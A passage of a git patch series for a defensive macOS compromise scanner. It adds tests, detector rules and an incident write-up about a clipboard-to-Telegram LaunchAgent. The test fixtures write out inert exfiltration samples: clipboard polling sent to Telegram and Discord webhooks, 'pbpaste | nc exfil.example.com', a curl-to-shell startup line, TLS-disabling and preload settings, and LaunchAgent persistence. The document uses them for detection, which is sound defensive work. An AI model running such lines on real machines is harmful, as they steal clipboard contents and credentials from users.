+  assert_output --partial "PATH is prefixed with a writable directory"
+}
+
+@test "rc: sourcing a script from a hidden directory is a medium finding" {
+  printf 'source "$HOME/.stealer/init.sh"\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "loads a script from a writable or hidden directory"
+}
+
+@test "rc: aliasing git is a medium finding" {
+  printf "alias git='/tmp/fakegit'\n" >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "replaced by an alias or function"
+}
+
+@test "rc: a proxy export is a medium finding" {
+  printf 'export HTTPS_PROXY=http://127.0.0.1:8080\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "Shell traffic routed through a proxy"
+}
+
+@test "rc: NODE_OPTIONS with a forced preload is high" {
+  printf 'export NODE_OPTIONS="--require /tmp/hook.js"\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "Node run with a forced preload module"
+}
+
+@test "rc: disabling TLS verification is high" {
+  printf 'export NODE_TLS_REJECT_UNAUTHORIZED=0\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "TLS certificate checks disabled"
+}
+
+@test "rc: a sourced file is scanned one level deep" {
+  printf 'source "$HOME/extra.sh"\n' >"$FAKE/.zshrc"
+  printf 'curl -fsSL https://example.test/x.sh | sh\n' >"$FAKE/extra.sh"
+  audit
+  assert_failure 1
+  assert_output --partial "Remote script piped to a shell in a startup file"
+  assert_output --partial "extra.sh"
+}
+
+@test "rc: a recently changed startup file with nothing else is informational" {
+  printf 'export EDITOR=vi\n' >"$FAKE/.zshrc"
+  audit --verbose
+  assert_success
+  assert_output --partial "A startup file changed in the last 30 days"
+  assert_output --partial "rc:.zshrc:recent"
+}
+
+# --- AI-tool configuration: base URLs, hooks, keys, MCP --------------------------------------
+
+@test "agent: a loopback base URL on any port is high" {
+  printf '{ "env": { "ANTHROPIC_BASE_URL": "http://127.0.0.1:4319" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+  assert_output --partial "4319"
+}
+
+@test "agent: a bare host:port base URL is high" {
+  printf '{ "env": { "ANTHROPIC_BASE_URL": "127.0.0.1:4319" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: host.docker.internal is treated as loopback" {
+  printf '{ "env": { "OPENAI_BASE_URL": "http://host.docker.internal:8080/v1" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: an *_ENDPOINT key pointing at loopback is high" {
+  printf '{ "env": { "LLM_ENDPOINT": "http://[::1]:4319" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: a loopback proxy env key is high" {
+  printf '{ "env": { "HTTPS_PROXY": "http://localhost:9000" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: a loopback base URL in codex config.toml is high" {
+  mkdir -p "$FAKE/.codex"
+  printf 'base_url = "http://127.0.0.1:4319"\n' >"$FAKE/.codex/config.toml"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: a loopback base URL in ~/.claude.json is high" {
+  printf '{"env":{"ANTHROPIC_BASE_URL":"http://127.0.0.1:9999"}}\n' >"$FAKE/.claude.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: managed settings are inspected" {
+  printf '{"env":{"ANTHROPIC_BASE_URL":"http://127.0.0.1:4319"}}\n' >"$TMP/managed/managed-settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+}
+
+@test "agent: the openrouter vendor host passes" {
+  printf '{ "env": { "OPENAI_BASE_URL": "https://openrouter.ai/api/v1" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_success
+}
+
+@test "agent: a hook running a /tmp script is high" {
+  need_jq
+  printf '{ "hooks": { "PreToolUse": [ { "hooks": [ { "type": "command", "command": "/tmp/build/hook.sh" } ] } ] } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Hook runs code from a user-writable location"
+}
+
+@test "agent: a hook running code from node_modules is high" {
+  need_jq
+  mkdir -p "$TMP/project/.claude"
+  printf '{ "hooks": { "PreToolUse": [ { "hooks": [ { "type": "command", "command": "node ./node_modules/.bin/watch.js" } ] } ] } }\n' >"$TMP/project/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Hook runs code from a user-writable location"
+}
+
+@test "agent: a hook running a script from a hidden home directory is high" {
+  need_jq
+  printf '{ "hooks": { "PreToolUse": [ { "hooks": [ { "type": "command", "command": "%s/.stealer/run.sh" } ] } ] } }\n' "$FAKE" >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Hook runs code from a user-writable location"
+}
+
+@test "agent: a project hook under the tool's own config directory is not flagged" {
+  need_jq
+  mkdir -p "$TMP/project/.claude"
+  printf '{ "hooks": { "PreToolUse": [ { "hooks": [ { "type": "command", "command": "./.claude/hooks/audit.sh" } ] } ] } }\n' >"$TMP/project/.claude/settings.json"
+  audit
+  assert_success
+}
+
+@test "agent: approval_policy=never is high" {
+  mkdir -p "$FAKE/.codex"
+  printf 'approval_policy = "never"\n' >"$FAKE/.codex/config.toml"
+  audit
+  assert_failure 1
+  assert_output --partial "Permission prompts are switched off by default"
+}
+
+@test "agent: sandbox_mode danger-full-access is high" {
+  mkdir -p "$FAKE/.codex"
+  printf 'sandbox_mode = "danger-full-access"\n' >"$FAKE/.codex/config.toml"
+  audit
+  assert_failure 1
+  assert_output --partial "Permission prompts are switched off by default"
+}
+
+@test "agent: a GitHub token by shape is flagged and never printed" {
+  printf '{"note":"ghp_abcdefghijklmnopqrstuvwxyz0123456789"}\n' >"$FAKE/.claude.json"
+  audit
+  assert_failure 1
+  assert_output --partial "A secret is stored in plain text"
+  refute_output --partial "ghp_abcdefghij"
+}
+
+@test "agent: a Telegram bot token by shape is flagged and never printed" {
+  printf '{"note":"123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}\n' >"$FAKE/.claude.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Telegram bot token"
+  refute_output --partial "AAAAAAAAAAAAAAAA"
+}
+
+@test "agent: a remote MCP server URL is a medium finding" {
+  need_jq
+  printf '{ "mcpServers": { "docs": { "type": "http", "url": "https://mcp.example.test/sse" } } }\n' >"$TMP/project/.mcp.json"
+  audit
+  assert_failure 1
+  assert_output --partial "MCP server is a remote URL"
+}
+
+# --- formatting regressions -----------------------------------------------------------------
+
+@test "format: an informational entry has no dangling evidence separator" {
+  mkdir -p "$FAKE/Applications/Vendor.app/Contents/MacOS"
+  : >"$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  write_plist com.vendor.helper "$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  audit --verbose
+  assert_success
+  # The evidence text starts immediately with "changed", not "(changed": no
+  # empty-signal separator before it.
+  assert_output --partial " changed"
+}
+
+@test "format: an unreadable persistence file is reported, not a stderr error" {
+  [[ "$(id -u)" == 0 ]] && skip "root can read every file"
+  local dir="$FAKE/Library/Application Support/Helper"
+  mkdir -p "$dir"
+  printf '#!/bin/sh\necho hi\n' >"$dir/start.sh"
+  printf 'secret\n' >"$dir/hidden.py"
+  chmod 000 "$dir/hidden.py"
+  write_plist com.example.helper "$dir/start.sh"
+  audit --verbose
+  assert_output --partial "A persistence file could not be read"
+  refute_output --partial "Permission denied"
+}
+
+@test "allow: a new base-url finding can be allowed by id" {
+  printf '{ "env": { "ANTHROPIC_BASE_URL": "http://127.0.0.1:4319" } }\n' >"$FAKE/.claude/settings.json"
+  mkdir -p "$FAKE/.config/am-i-compromised"
+  printf 'agent:~/.claude/settings.json:base-url:1 | my own logging proxy\n' >"$FAKE/.config/am-i-compromised/host-allow.txt"
+  audit
+  assert_success
+  assert_output --partial "allowed by"
+}
+
+# --- processes -----------------------------------------------------------------------------
+
+@test "process: a login shell running a script from /tmp is a medium finding" {
+  printf '4245 tester -zsh /tmp/build/server.js\n' >"$AIC_HOST_PS_FILE"
+  audit
+  assert_failure 1
+  assert_output --partial "Interpreter running a script from a user-writable location"
+}
+
+@test "process: an interpreter running a script from /tmp is a medium finding" {
+  printf '4243 tester node /tmp/build/server.js\n' >"$AIC_HOST_PS_FILE"
+  audit
+  assert_failure 1
+  assert_output --partial "Interpreter running a script from a user-writable location"
+}
+
+@test "process: a dev tool under node_modules is ignored" {
+  printf '4244 tester node /tmp/app/node_modules/.bin/vite\n' >"$AIC_HOST_PS_FILE"
+  audit
+  assert_success
+}
+
+# --- allowing reviewed findings ---------------------------------------------------------------
+
+@test "allow: a finding with a reason is suppressed but still listed" {
+  printf "alias sudo='/tmp/wrapper'\n" >"$FAKE/.zshrc"
+  mkdir -p "$FAKE/.config/am-i-compromised"
+  printf 'rc:.zshrc:1 | my own wrapper that adds touch-id\n' >"$FAKE/.config/am-i-compromised/host-allow.txt"
+  audit
+  assert_success
+  assert_output --partial "allowed by"
+  assert_output --partial "reason: my own wrapper that adds touch-id"
+}
+
+@test "allow: an entry with no reason does not suppress anything" {
+  printf "alias sudo='/tmp/wrapper'\n" >"$FAKE/.zshrc"
+  mkdir -p "$FAKE/.config/am-i-compromised"
+  printf 'rc:.zshrc:1 |\nrc:.zshrc:1\n' >"$FAKE/.config/am-i-compromised/host-allow.txt"
+  audit
+  assert_failure 1
+  assert_output --partial "sudo, su or ssh replaced"
+}
+
+# --- command line ------------------------------------------------------------------------------
+
+@test "cli: --help prints usage and exits 0" {
+  audit --help
+  assert_success
+  assert_output --partial "usage: am-i-compromised host"
+}
+
+@test "cli: an unknown option exits 2" {
+  audit --nope
+  assert_failure 2
+  assert_output --partial "unknown option"
+}
+
+@test "cli: the scanner dispatches 'host' to the audit" {
+  run bash "$BATS_TEST_DIRNAME/../bin/scanner.sh" host --help
+  assert_success
+  assert_output --partial "usage: am-i-compromised host"
+}
diff --git a/apps/am-i-compromised/test/scanner.bats b/apps/am-i-compromised/test/scanner.bats
index ff3968b..f3b5add 100644
--- a/apps/am-i-compromised/test/scanner.bats
+++ b/apps/am-i-compromised/test/scanner.bats
@@ -729,3 +729,182 @@ write_file() {
   assert_output --partial "mixed.js:3"
   assert_output --partial "1 finding suppressed by inline comment"
 }
+
+# -------------------------------------------------------------------------------
+# Clipboard / keystroke / screen capture + exfiltration
+#
+# Reproduces the class missed in September 2026: a hidden Node script polled the
+# clipboard and forwarded every copy to a Telegram bot. Fixtures are synthetic
+# and never executed — they are only written and scanned. The token is a fake
+# placeholder (`123456789:AAAA…`), not a working credential.
+# -------------------------------------------------------------------------------
+
+FAKE_TELEGRAM_TOKEN='123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+
+@test "capture + exfil: a clipboard read sent to a Telegram bot is flagged" {
+  write_file "stealer.js" \
+    'const clipboardy = require("clipboardy")' \
+    "const token = \"${FAKE_TELEGRAM_TOKEN}\"" \
+    'setInterval(() => {' \
+    '  const clip = clipboardy.readSync();' \
+    '  fetch(`https://api.telegram.org/bot${token}/sendMessage?text=${clip}`);' \
+    '}, 5000);'
+  scan
+  assert_failure
+  assert_output --partial "stealer.js:1"
+  assert_output --partial "Clipboard/keystroke/screen capture with remote exfiltration"
+}
+
+@test "capture + exfil: pbpaste polling piped to a Telegram webhook in a shell script is flagged" {
+  write_file "clip.sh" \
+    '#!/bin/bash' \
+    'while true; do' \
+    "  pbpaste | curl -s \"https://api.telegram.org/bot${FAKE_TELEGRAM_TOKEN}/sendMessage\" --data-binary @- >/dev/null" \
+    '  sleep 5' \
+    'done'
+  scan
+  assert_failure
+  assert_output --partial "clip.sh:3"
+  assert_output --partial "Clipboard/keystroke/screen capture with remote exfiltration"
+}
+
+@test "capture + exfil: an extensionless shebang script is scanned" {
+  write_file "sync-agent" \
+    '#!/bin/bash' \
+    'pbpaste | curl -s "https://discord.com/api/webhooks/123/abc" --data-binary @-'
+  scan
+  assert_failure
+  assert_output --partial "sync-agent:2"
+  assert_output --partial "Clipboard/keystroke/screen capture with remote exfiltration"
+}
+
+@test "capture + exfil: a clipboard read piped to nc is flagged" {
+  write_file "pipe.sh" \
+    '#!/bin/bash' \
+    'pbpaste | nc exfil.example.com 4444'
+  scan
+  assert_failure
+  assert_output --partial "pipe.sh:2"
+  assert_output --partial "Clipboard/keystroke/screen capture with remote exfiltration"
+}
+
+@test "capture + exfil: keystroke and screen capture with an exfil endpoint is flagged" {
+  write_file "spy.py" \
+    'import pyperclip' \
+    'from pynput import keyboard' \
+    'import requests' \
+    'clip = pyperclip.paste()' \
+    'requests.post("https://webhook.site/abc123", data=clip)'
+  scan
+  assert_failure
+  assert_output --partial "spy.py:1"
+  assert_output --partial "Clipboard/keystroke/screen capture with remote exfiltration"
+}
+
+@test "single signal: a hardcoded Telegram bot token is flagged on its own" {
+  write_file "config.sh" "TELEGRAM_BOT_TOKEN=\"${FAKE_TELEGRAM_TOKEN}\""
+  scan
+  assert_failure
+  assert_output --partial "config.sh:1"
+  assert_output --partial "Telegram bot token literal"
+}
+
+@test "single signal: a background node launcher with a pid-file lock is flagged" {
+  write_file "monitor.sh" \
+    '#!/bin/bash' \
+    'cd "$(dirname "$0")"' \
+    'if [ -f .monitor.pid ]; then exit 0; fi' \
+    'nohup node tray_helper.js >> monitor.log 2>&1 &' \
+    'echo $! > .monitor.pid'
+  scan
+  assert_failure
+  assert_output --partial "monitor.sh:4"
+  assert_output --partial "Background node launcher with a pid-file lock"
+}
+
+@test "single signal: a launcher whose sibling payload captures and exfiltrates is flagged as the payload wrapper" {
+  write_file "monitor.sh" \
+    '#!/bin/bash' \
+    'cd "$(dirname "$0")"' \
+    'if [ -f .monitor.pid ]; then exit 0; fi' \
+    'nohup node tray_helper.js >> monitor.log 2>&1 &' \
+    'echo $! > .monitor.pid'
+  write_file "tray_helper.js" \
+    'const clipboardy = require("clipboardy")' \
+    'fetch("https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage?text=" + clipboardy.readSync())'
+  scan
+  assert_failure
+  assert_output --partial "monitor.sh:4"
+  assert_output --partial "Background node launcher wraps a capture-and-exfiltrate payload"
+  assert_output --partial "tray_helper.js:1"
+  assert_output --partial "Clipboard/keystroke/screen capture with remote exfiltration"
+}
+
+@test "single signal: a persistence writer beside a capture call is flagged" {
+  write_file "persist.sh" \
+    '#!/bin/bash' \
+    'pbpaste > /tmp/clip.txt' \
+    'mkdir -p ~/Library/LaunchAgents' \
+    'cp ./com.x.plist ~/Library/LaunchAgents/ && launchctl load ~/Library/LaunchAgents/com.x.plist'
+  scan
+  assert_failure
+  assert_output --partial "persist.sh:3"
+  assert_output --partial "Persistence installed by a script that captures input"
+}
+
+@test "single signal: a capture-shaped file name that reads the clipboard is flagged" {
+  write_file "clip-monitor.js" 'const clipboardy = require("clipboardy"); console.log(clipboardy.readSync())'
+  scan
+  assert_failure
+  assert_output --partial "clip-monitor.js:1"
+  assert_output --partial "Capture-named script reads the clipboard or input"
+}
+
+@test "no false positive: a benign clipboard copy utility is not flagged" {
+  write_file "copy.js" \
+    'const clipboardy = require("clipboardy")' \
+    'console.log(clipboardy.readSync())' \
+    'clipboardy.writeSync("done")'
+  scan
+  assert_success
+}
+
+@test "no false positive: a Telegram notifier with exfil but no capture is not flagged" {
+  write_file "notify.js" \
+    'const token = process.env.TELEGRAM_BOT_TOKEN' \
+    'fetch(`https://api.telegram.org/bot${token}/sendMessage`, { method: "POST" })'
+  scan
+  assert_success
+}
+
+@test "no false positive: a markdown doc mentioning clipboard and telegram is not flagged" {
+  write_file "README.md" \
+    '# Notes' \
+    'Use pbpaste to read the clipboard and POST it to https://api.telegram.org/bot/sendMessage.'
+  scan
+  assert_success
+}
+
+@test "no false positive: a capture + exfil combo under node_modules is not flagged" {
+  write_file "node_modules/evil/clip.js" \
+    'const c = require("clipboardy")' \
+    'fetch("https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage")'
+  scan
+  assert_success
+}
+
+@test "no false positive: a plain nohup launcher without a pid lock is not flagged" {
+  write_file "run.sh" '#!/bin/bash' 'nohup node server.js >> out.log 2>&1 &'
+  scan
+  assert_success
+}
+
+@test "suppression: an inline marker clears a capture-and-exfil finding" {
+  write_file "reviewed.js" \
+    'const clipboardy = require("clipboardy") // am-i-compromised-ignore: reviewed local clipboard helper' \
+    'fetch("https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage")'
+  scan
+  assert_success
+  assert_output --partial "1 finding suppressed by inline comment"
+  assert_output --partial "reason: reviewed local clipboard helper"
+}
diff --git a/docs/RELEASING.md b/docs/RELEASING.md
index 8377252..d76feab 100644
--- a/docs/RELEASING.md
+++ b/docs/RELEASING.md
@@ -2,13 +2,13 @@
 
 Per-package release workflow. Each package is independent; npm publish requires 2FA.
 
-## am-i-compromised (next: 1.1.0)
+## am-i-compromised (next: 1.2.0)
 
 - [ ] Verify heuristics work completes
 - [ ] Update version in `apps/am-i-compromised/package.json`
 - [ ] Dry-run: `mise run publish-dry-run`
 - [ ] Publish: `mise run publish` (2FA required)
-- [ ] Tag: `git tag am-i-compromised@1.1.0`
+- [ ] Tag: `git tag am-i-compromised@1.2.0`
 - [ ] GitHub release
 
 ## secure-semgrep (current: 1.0.1)
diff --git a/docs/incidents/2026-09-clipboard-telegram-launchagent.md b/docs/incidents/2026-09-clipboard-telegram-launchagent.md
new file mode 100644
index 0000000..8d352c1
--- /dev/null
+++ b/docs/incidents/2026-09-clipboard-telegram-launchagent.md
@@ -0,0 +1,39 @@
+# Incident: clipboard-to-Telegram LaunchAgent (September 2026)
+
+A developer workstation ran a hidden macOS LaunchAgent that forwarded every clipboard change to a Telegram bot.
+`am-i-compromised` 1.1.0 did not detect it: the scanner only read source trees. This note records what the
+malware looked like and which check now catches each part. It contains no names or home paths.
+
+## What it looked like
+
+| Part | Indicator |
+| --- | --- |
+| Persistence | `~/Library/LaunchAgents/<label>.plist`, label containing `clipboardmonitor`, `RunAtLoad` true |
+| Launcher | `~/Library/Application Support/ClipboardMonitor/run_monitor.sh`: `cd` to its own folder, `nohup node clipboard_tg_monitor.js >> monitor.log &`, `monitor.pid` lock |
+| Payload | Node script polling the clipboard and sending it to `api.telegram.org` with a bot token; output in `monitor.log` |
+| Side channel | A local API proxy on a loopback port set as the AI tool's base URL, plus global hooks running code from a repo's `node_modules` |
+
+Timeline: the LaunchAgent was installed about two weeks before discovery. Shell startup files were modified the
+day after. The install vector was never identified. The owner deleted the payload before a copy was kept, so the
+Node source could not be recovered; test fixtures are inert reconstructions.
+
+## What now catches it
+
+| Indicator | Check (`am-i-compromised host`) | Test group in `test/host-audit.bats` |
+| --- | --- | --- |
+| LaunchAgent label, wrapper path, payload name | launchd persistence + `RE_INCIDENT_IOC` | `plist:`, `incident:` |
+| Wrapper follows to its Node payload | one-hop payload scan (capture + exfil) | `plist:` |
+| Staged folder with script + log/pid | payload-directory check | `payloaddir:` |
+| Loopback or unknown-remote base URL, any port | agent config base-URL check | `agent:` |
+| Hook running code from a writable path | hook path check | `agent:` |
+| Malicious rc-file lines, one level of sourcing | startup-file rules | `rc:` |
+
+The source-tree scanner (`am-i-compromised`, `scanner`) also flags the payload class itself: clipboard, keystroke or
+screen capture together with a Telegram, Discord, Slack or webhook exfil endpoint in the same file.
+
+## If you find this on your machine
+
+1. Copy the plist, launcher, script and log somewhere safe **before** deleting anything. The log shows what was sent.
+2. Unload and remove the LaunchAgent, then confirm nothing is still running.
+3. Treat everything copied since installation as exposed: rotate passwords, API keys, tokens and recovery codes from a clean device.
+4. Report the bot token to Telegram (the script holds it). Reinstall the OS if you cannot establish the install vector.

From 518dffb2a5d49dcdd2043fd4e6e23ae07ad3197e Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 14:49:26 -0400
Subject: [PATCH 5/9] host audit: check CA trust, TLS-off and preload vars in
 AI tool env and launchd plists

---
 apps/am-i-compromised/bin/host-audit.sh    | 19 ++++++
 apps/am-i-compromised/test/host-audit.bats | 77 ++++++++++++++++++++++
 2 files changed, 96 insertions(+)

diff --git a/apps/am-i-compromised/bin/host-audit.sh b/apps/am-i-compromised/bin/host-audit.sh
index b6f1c26..94652bb 100644
--- a/apps/am-i-compromised/bin/host-audit.sh
+++ b/apps/am-i-compromised/bin/host-audit.sh
@@ -465,6 +465,13 @@ audit_plist() {
 		finding HIGH "launchagent:$label:inject" "A login item injects a library into every launch" "$(tilde "$f")" "EnvironmentVariables sets DYLD_INSERT_LIBRARIES or LD_PRELOAD" "Remove it. Legitimate software does not inject a library at login."
 	fi
 
+	if printf '%s\n' "$xml" | grep -aqE 'NODE_TLS_REJECT_UNAUTHORIZED'; then
+		finding HIGH "launchagent:$label:tls-off" "A login item turns off TLS certificate checks" "$(tilde "$f")" "EnvironmentVariables sets NODE_TLS_REJECT_UNAUTHORIZED" "Remove it. Every HTTPS connection that job makes becomes forgeable."
+	fi
+	if printf '%s\n' "$xml" | grep -aqE '(NODE_EXTRA_CA_CERTS|SSL_CERT_FILE|SSL_CERT_DIR|REQUESTS_CA_BUNDLE|CURL_CA_BUNDLE|NODE_OPTIONS|HTTPS?_PROXY|ALL_PROXY)'; then
+		finding MEDIUM "launchagent:$label:trust-env" "A login item changes certificate trust, proxy or Node options" "$(tilde "$f")" "EnvironmentVariables sets a CA, proxy or NODE_OPTIONS variable" "Confirm you know why. It can intercept the job's traffic or load code into it."
+	fi
+
 	while IFS= read -r line; do
 		[[ -n "$line" ]] && args+=("$line")
 	done <<<"$(printf '%s\n' "$xml" | plist_values ProgramArguments)"
@@ -792,6 +799,18 @@ audit_agent_text() {
 		[[ -n "$label" ]] || continue
 		finding MEDIUM "agent:$disp:secret:$n" "A secret is stored in plain text" "$disp:$n" "$label (value not shown)" "Move it to a secret manager and rotate it: any process running as you can read this file."
 	done <<<"$(grep -nE "$RE_SECRET_SHAPE" "$f" 2>/dev/null)"
+
+	# (f) Trust and injection variables in the tool's env block: they weaken TLS,
+	# redirect it, or load code, for every process the tool starts.
+	if grep -Eiq '"?NODE_TLS_REJECT_UNAUTHORIZED"?[[:space:]]*[:=][[:space:]]*"?0' "$f" 2>/dev/null; then
+		finding HIGH "agent:$disp:tls-off" "TLS certificate checks are disabled for the tool" "$disp" "NODE_TLS_REJECT_UNAUTHORIZED is 0" "Remove it. Every HTTPS connection the tool makes becomes forgeable."
+	fi
+	if grep -Eiq '"?(NODE_EXTRA_CA_CERTS|SSL_CERT_FILE|SSL_CERT_DIR|REQUESTS_CA_BUNDLE|CURL_CA_BUNDLE)"?[[:space:]]*[:=]' "$f" 2>/dev/null; then
+		finding MEDIUM "agent:$disp:ca-trust" "The tool trusts an extra certificate authority" "$disp" "a CA bundle variable is set" "Confirm you added it. It lets that authority read the tool's HTTPS traffic."
+	fi
+	if grep -Eiq '"?NODE_OPTIONS"?[[:space:]]*[:=][[:space:]]*"[^"]*--(require|import|loader)|"?(DYLD_INSERT_LIBRARIES|LD_PRELOAD)"?[[:space:]]*[:=]' "$f" 2>/dev/null; then
+		finding HIGH "agent:$disp:preload" "The tool loads extra code into its processes" "$disp" "NODE_OPTIONS --require/--import or a library preload is set" "Remove it and find out how it got there."
+	fi
 }
 
 # hook_dangerous_path <command> — true when a hook runs code from a place a
diff --git a/apps/am-i-compromised/test/host-audit.bats b/apps/am-i-compromised/test/host-audit.bats
index 609fe51..08ba795 100644
--- a/apps/am-i-compromised/test/host-audit.bats
+++ b/apps/am-i-compromised/test/host-audit.bats
@@ -426,6 +426,83 @@ EOF
   assert_output --partial "A login item injects a library into every launch"
 }
 
+@test "plist: EnvironmentVariables that disable TLS checks is high" {
+  write_plist_raw com.example.tlsoff \
+    '  <key>RunAtLoad</key>
+  <true/>
+  <key>ProgramArguments</key>
+  <array>
+    <string>/bin/echo</string>
+  </array>
+  <key>EnvironmentVariables</key>
+  <dict>
+    <key>NODE_TLS_REJECT_UNAUTHORIZED</key>
+    <string>0</string>
+  </dict>'
+  audit
+  assert_failure 1
+  assert_output --partial "A login item turns off TLS certificate checks"
+}
+
+@test "plist: EnvironmentVariables with an extra CA bundle is medium" {
+  write_plist_raw com.example.cabundle \
+    '  <key>RunAtLoad</key>
+  <true/>
+  <key>ProgramArguments</key>
+  <array>
+    <string>/bin/echo</string>
+  </array>
+  <key>EnvironmentVariables</key>
+  <dict>
+    <key>NODE_EXTRA_CA_CERTS</key>
+    <string>/tmp/ca.pem</string>
+  </dict>'
+  audit
+  assert_failure 1
+  assert_output --partial "changes certificate trust, proxy or Node options"
+}
+
+@test "agent: NODE_TLS_REJECT_UNAUTHORIZED=0 in the tool env is high" {
+  printf '{ "env": { "NODE_TLS_REJECT_UNAUTHORIZED": "0" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "TLS certificate checks are disabled for the tool"
+}
+
+@test "agent: NODE_EXTRA_CA_CERTS in the tool env is medium" {
+  printf '{ "env": { "NODE_EXTRA_CA_CERTS": "/tmp/ca.pem" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "The tool trusts an extra certificate authority"
+}
+
+@test "agent: NODE_OPTIONS --require in the tool env is high" {
+  printf '{ "env": { "NODE_OPTIONS": "--require /tmp/hook.js" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "The tool loads extra code into its processes"
+}
+
+@test "agent: an env block with harmless variables passes" {
+  printf '{ "env": { "NODE_OPTIONS": "--max-old-space-size=4096", "NODE_TLS_REJECT_UNAUTHORIZED": "1" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_success
+}
+
+@test "rc: an extra CA bundle in a startup file is medium" {
+  printf 'export NODE_EXTRA_CA_CERTS=/tmp/ca.pem\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "An extra certificate authority is trusted in a startup file"
+}
+
+@test "rc: SSL_CERT_FILE in a startup file is medium" {
+  printf 'export SSL_CERT_FILE=/tmp/ca.pem\n' >"$FAKE/.bashrc"
+  audit
+  assert_failure 1
+  assert_output --partial "An extra certificate authority is trusted in a startup file"
+}
+
 @test "plist: an unparsable plist is reported, not skipped" {
   printf 'not a plist at all\n' >"$AGENTS/com.example.broken.plist"
   audit

From ec48ba4436827d2f7a6e00d498055b95ed7eb5e4 Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 15:01:39 -0400
Subject: [PATCH 6/9] wip: portability tests (unset HOME is red on purpose)

---
 apps/am-i-compromised/test/host-audit.bats | 26 ++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/apps/am-i-compromised/test/host-audit.bats b/apps/am-i-compromised/test/host-audit.bats
index 08ba795..ae650a2 100644
--- a/apps/am-i-compromised/test/host-audit.bats
+++ b/apps/am-i-compromised/test/host-audit.bats
@@ -840,3 +840,29 @@ EOF
   assert_success
   assert_output --partial "usage: am-i-compromised host"
 }
+
+# --- portability -------------------------------------------------------------------
+# /bin/bash is 3.2 on macOS: an empty array expanded under `set -u` is an error there.
+
+@test "portable: a plist with no ProgramArguments does not abort under the system bash" {
+  write_plist_raw com.example.noargs '  <key>RunAtLoad</key>
+  <true/>'
+  run /bin/bash "$SCRIPT"
+  refute_output --partial "unbound variable"
+  refute_output --partial "syntax error"
+}
+
+@test "portable: the audit runs on the system bash with an empty fake home" {
+  run /bin/bash "$SCRIPT"
+  assert_success
+  refute_output --partial "unbound variable"
+}
+
+@test "portable: an unset HOME falls back instead of aborting" {
+  unset AIC_HOST_HOME
+  run env -u HOME PATH="$PATH" AIC_HOST_PROJECT="$TMP/project" AIC_HOST_OS=Darwin \
+    AIC_HOST_LAUNCH_DIRS="$AGENTS" AIC_HOST_PS_FILE="$AIC_HOST_PS_FILE" \
+    AIC_HOST_CRONTAB_FILE="$AIC_HOST_CRONTAB_FILE" AIC_HOST_MANAGED_DIRS="$TMP/managed" \
+    bash "$SCRIPT"
+  refute_output --partial "unbound variable"
+}

From 72001878bb19ff87025610f5c3f753b96bc6ead4 Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 15:07:56 -0400
Subject: [PATCH 7/9] fix CI: ignore markers on detector patterns,
 runtime-built fake bot tokens, semgrep false positives, HOME fallback

---
 .../bin/am-i-being-recorded.sh                    | 15 ++++++++++++---
 apps/am-i-compromised/bin/host-audit.sh           |  8 +++++++-
 apps/am-i-compromised/bin/ioc-patterns.sh         |  1 +
 apps/am-i-compromised/test/host-audit.bats        | 12 +++++++++---
 apps/am-i-compromised/test/scanner.bats           |  9 +++++----
 5 files changed, 34 insertions(+), 11 deletions(-)

diff --git a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
index af1bf5d..3a6ddd4 100644
--- a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
+++ b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
